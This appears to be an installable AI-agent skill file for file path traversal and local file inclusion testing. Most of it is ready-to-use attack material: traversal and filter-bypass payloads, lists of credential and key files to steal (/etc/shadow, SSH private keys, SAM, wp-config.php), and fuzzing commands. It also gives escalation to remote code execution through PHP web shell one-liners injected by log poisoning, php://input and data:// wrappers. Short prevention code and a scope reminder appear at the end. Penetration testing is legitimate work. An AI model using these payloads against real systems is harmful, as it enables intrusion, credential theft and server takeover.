This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
Add this skill
npx mdskills install sickn33/file-path-traversalComprehensive penetration testing guide with extensive payloads and bypass techniques
1---2name: File Path Traversal Testing3description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.4metadata:5 author: zebbern6 version: "1.1"7---89# File Path Traversal Testing1011## Purpose1213Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.1415## Prerequisites1617### Required Tools18- Web browser with developer tools19- Burp Suite or OWASP ZAP20- cURL for testing payloads21- Wordlists for automation22- ffuf or wfuzz for fuzzing2324### Required Knowledge25- HTTP request/response structure26- Linux and Windows filesystem layout27- Web application architecture28- Basic understanding of file APIs2930## Outputs and Deliverables31321. **Vulnerability Report** - Identified traversal points and severity332. **Exploitation Proof** - Extracted file contents343. **Impact Assessment** - Accessible files and data exposure354. **Remediation Guidance** - Secure coding recommendations3637## Core Workflow3839### Phase 1: Understanding Path Traversal4041Path traversal occurs when applications use user input to construct file paths:4243```php44// Vulnerable PHP code example45$template = "blue.php";46if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {47 $template = $_COOKIE['template'];48}49include("/home/user/templates/" . $template);50```5152Attack principle:53- `../` sequence moves up one directory54- Chain multiple sequences to reach root55- Access files outside intended directory5657Impact:58- **Confidentiality** - Read sensitive files59- **Integrity** - Write/modify files (in some cases)60- **Availability** - Delete files (in some cases)61- **Code Execution** - If combined with file upload or log poisoning6263### Phase 2: Identifying Traversal Points6465Map application for potential file operations:6667```bash68# Parameters that often handle files69?file=70?path=71?page=72?template=73?filename=74?doc=75?document=76?folder=77?dir=78?include=79?src=80?source=81?content=82?view=83?download=84?load=85?read=86?retrieve=87```8889Common vulnerable functionality:90- Image loading: `/image?filename=23.jpg`91- Template selection: `?template=blue.php`92- File downloads: `/download?file=report.pdf`93- Document viewers: `/view?doc=manual.pdf`94- Include mechanisms: `?page=about`9596### Phase 3: Basic Exploitation Techniques9798#### Simple Path Traversal99100```bash101# Basic Linux traversal102../../../etc/passwd103../../../../etc/passwd104../../../../../etc/passwd105../../../../../../etc/passwd106107# Windows traversal108..\..\..\windows\win.ini109..\..\..\..\windows\system32\drivers\etc\hosts110111# URL encoded112..%2F..%2F..%2Fetc%2Fpasswd113..%252F..%252F..%252Fetc%252Fpasswd # Double encoding114115# Test payloads with curl116curl "http://target.com/image?filename=../../../etc/passwd"117curl "http://target.com/download?file=....//....//....//etc/passwd"118```119120#### Absolute Path Injection121122```bash123# Direct absolute path (Linux)124/etc/passwd125/etc/shadow126/etc/hosts127/proc/self/environ128129# Direct absolute path (Windows)130C:\windows\win.ini131C:\windows\system32\drivers\etc\hosts132C:\boot.ini133```134135### Phase 4: Bypass Techniques136137#### Bypass Stripped Traversal Sequences138139```bash140# When ../ is stripped once141....//....//....//etc/passwd142....\/....\/....\/etc/passwd143144# Nested traversal145..././..././..././etc/passwd146....//....//etc/passwd147148# Mixed encoding149..%2f..%2f..%2fetc/passwd150%2e%2e/%2e%2e/%2e%2e/etc/passwd151%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd152```153154#### Bypass Extension Validation155156```bash157# Null byte injection (older PHP versions)158../../../etc/passwd%00.jpg159../../../etc/passwd%00.png160161# Path truncation162../../../etc/passwd...............................163164# Double extension165../../../etc/passwd.jpg.php166```167168#### Bypass Base Directory Validation169170```bash171# When path must start with expected directory172/var/www/images/../../../etc/passwd173174# Expected path followed by traversal175images/../../../etc/passwd176```177178#### Bypass Blacklist Filters179180```bash181# Unicode/UTF-8 encoding182..%c0%af..%c0%af..%c0%afetc/passwd183..%c1%9c..%c1%9c..%c1%9cetc/passwd184185# Overlong UTF-8 encoding186%c0%2e%c0%2e%c0%af187188# URL encoding variations189%2e%2e/190%2e%2e%5c191..%5c192..%255c193194# Case variations (Windows)195....\\....\\etc\\passwd196```197198### Phase 5: Linux Target Files199200High-value files to target:201202```bash203# System files204/etc/passwd # User accounts205/etc/shadow # Password hashes (root only)206/etc/group # Group information207/etc/hosts # Host mappings208/etc/hostname # System hostname209/etc/issue # System banner210211# SSH files212/root/.ssh/id_rsa # Root private key213/root/.ssh/authorized_keys # Authorized keys214/home/<user>/.ssh/id_rsa # User private keys215/etc/ssh/sshd_config # SSH configuration216217# Web server files218/etc/apache2/apache2.conf219/etc/nginx/nginx.conf220/etc/apache2/sites-enabled/000-default.conf221/var/log/apache2/access.log222/var/log/apache2/error.log223/var/log/nginx/access.log224225# Application files226/var/www/html/config.php227/var/www/html/wp-config.php228/var/www/html/.htaccess229/var/www/html/web.config230231# Process information232/proc/self/environ # Environment variables233/proc/self/cmdline # Process command line234/proc/self/fd/0 # File descriptors235/proc/version # Kernel version236237# Common application configs238/etc/mysql/my.cnf239/etc/postgresql/*/postgresql.conf240/opt/lampp/etc/httpd.conf241```242243### Phase 6: Windows Target Files244245Windows-specific targets:246247```bash248# System files249C:\windows\win.ini250C:\windows\system.ini251C:\boot.ini252C:\windows\system32\drivers\etc\hosts253C:\windows\system32\config\SAM254C:\windows\repair\SAM255256# IIS files257C:\inetpub\wwwroot\web.config258C:\inetpub\logs\LogFiles\W3SVC1\259260# Configuration files261C:\xampp\apache\conf\httpd.conf262C:\xampp\mysql\data\mysql\user.MYD263C:\xampp\passwords.txt264C:\xampp\phpmyadmin\config.inc.php265266# User files267C:\Users\<user>\.ssh\id_rsa268C:\Users\<user>\Desktop\269C:\Documents and Settings\<user>\270```271272### Phase 7: Automated Testing273274#### Using Burp Suite275276```2771. Capture request with file parameter2782. Send to Intruder2793. Mark file parameter value as payload position2804. Load path traversal wordlist2815. Start attack2826. Filter responses by size/content for success283```284285#### Using ffuf286287```bash288# Basic traversal fuzzing289ffuf -u "http://target.com/image?filename=FUZZ" \290 -w /usr/share/wordlists/traversal.txt \291 -mc 200292293# Fuzzing with encoding294ffuf -u "http://target.com/page?file=FUZZ" \295 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \296 -mc 200,500 -ac297```298299#### Using wfuzz300301```bash302# Traverse to /etc/passwd303wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \304 --hc 404 \305 "http://target.com/index.php?file=FUZZ"306307# With headers/cookies308wfuzz -c -z file,traversal.txt \309 -H "Cookie: session=abc123" \310 "http://target.com/load?path=FUZZ"311```312313### Phase 8: LFI to RCE Escalation314315#### Log Poisoning316317```bash318# Inject PHP code into logs319curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/320321# Include Apache log file322curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"323324# Include auth.log (SSH)325# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com326curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"327```328329#### Proc/self/environ330331```bash332# Inject via User-Agent333curl -A "<?php system('id'); ?>" \334 "http://target.com/page?file=/proc/self/environ"335336# With command parameter337curl -A "<?php system(\$_GET['c']); ?>" \338 "http://target.com/page?file=/proc/self/environ&c=whoami"339```340341#### PHP Wrapper Exploitation342343```bash344# php://filter - Read source code as base64345curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"346347# php://input - Execute POST data as PHP348curl -X POST -d "<?php system('id'); ?>" \349 "http://target.com/page?file=php://input"350351# data:// - Execute inline PHP352curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"353354# expect:// - Execute system commands355curl "http://target.com/page?file=expect://id"356```357358### Phase 9: Testing Methodology359360Structured testing approach:361362```bash363# Step 1: Identify potential parameters364# Look for file-related functionality365366# Step 2: Test basic traversal367../../../etc/passwd368369# Step 3: Test encoding variations370..%2F..%2F..%2Fetc%2Fpasswd371%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd372373# Step 4: Test bypass techniques374....//....//....//etc/passwd375..;/..;/..;/etc/passwd376377# Step 5: Test absolute paths378/etc/passwd379380# Step 6: Test with null bytes (legacy)381../../../etc/passwd%00.jpg382383# Step 7: Attempt wrapper exploitation384php://filter/convert.base64-encode/resource=index.php385386# Step 8: Attempt log poisoning for RCE387```388389### Phase 10: Prevention Measures390391Secure coding practices:392393```php394// PHP: Use basename() to strip paths395$filename = basename($_GET['file']);396$path = "/var/www/files/" . $filename;397398// PHP: Validate against whitelist399$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];400if (in_array($_GET['file'], $allowed)) {401 include("/var/www/files/" . $_GET['file']);402}403404// PHP: Canonicalize and verify base path405$base = "/var/www/files/";406$realBase = realpath($base);407$userPath = $base . $_GET['file'];408$realUserPath = realpath($userPath);409410if ($realUserPath && strpos($realUserPath, $realBase) === 0) {411 include($realUserPath);412}413```414415```python416# Python: Use os.path.realpath() and validate417import os418419def safe_file_access(base_dir, filename):420 # Resolve to absolute path421 base = os.path.realpath(base_dir)422 file_path = os.path.realpath(os.path.join(base, filename))423424 # Verify file is within base directory425 if file_path.startswith(base):426 return open(file_path, 'r').read()427 else:428 raise Exception("Access denied")429```430431## Quick Reference432433### Common Payloads434435| Payload | Target |436|---------|--------|437| `../../../etc/passwd` | Linux password file |438| `..\..\..\..\windows\win.ini` | Windows INI file |439| `....//....//....//etc/passwd` | Bypass simple filter |440| `/etc/passwd` | Absolute path |441| `php://filter/convert.base64-encode/resource=config.php` | Source code |442443### Target Files444445| OS | File | Purpose |446|----|------|---------|447| Linux | `/etc/passwd` | User accounts |448| Linux | `/etc/shadow` | Password hashes |449| Linux | `/proc/self/environ` | Environment vars |450| Windows | `C:\windows\win.ini` | System config |451| Windows | `C:\boot.ini` | Boot config |452| Web | `wp-config.php` | WordPress DB creds |453454### Encoding Variants455456| Type | Example |457|------|---------|458| URL Encoding | `%2e%2e%2f` = `../` |459| Double Encoding | `%252e%252e%252f` = `../` |460| Unicode | `%c0%af` = `/` |461| Null Byte | `%00` |462463## Constraints and Limitations464465### Permission Restrictions466- Cannot read files application user cannot access467- Shadow file requires root privileges468- Many files have restrictive permissions469470### Application Restrictions471- Extension validation may limit file types472- Base path validation may restrict scope473- WAF may block common payloads474475### Testing Considerations476- Respect authorized scope477- Avoid accessing genuinely sensitive data478- Document all successful access479480## Troubleshooting481482| Problem | Solutions |483|---------|-----------|484| No response difference | Try encoding, blind traversal, different files |485| Payload blocked | Use encoding variants, nested sequences, case variations |486| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |487
Full transparency — inspect the skill content before installing.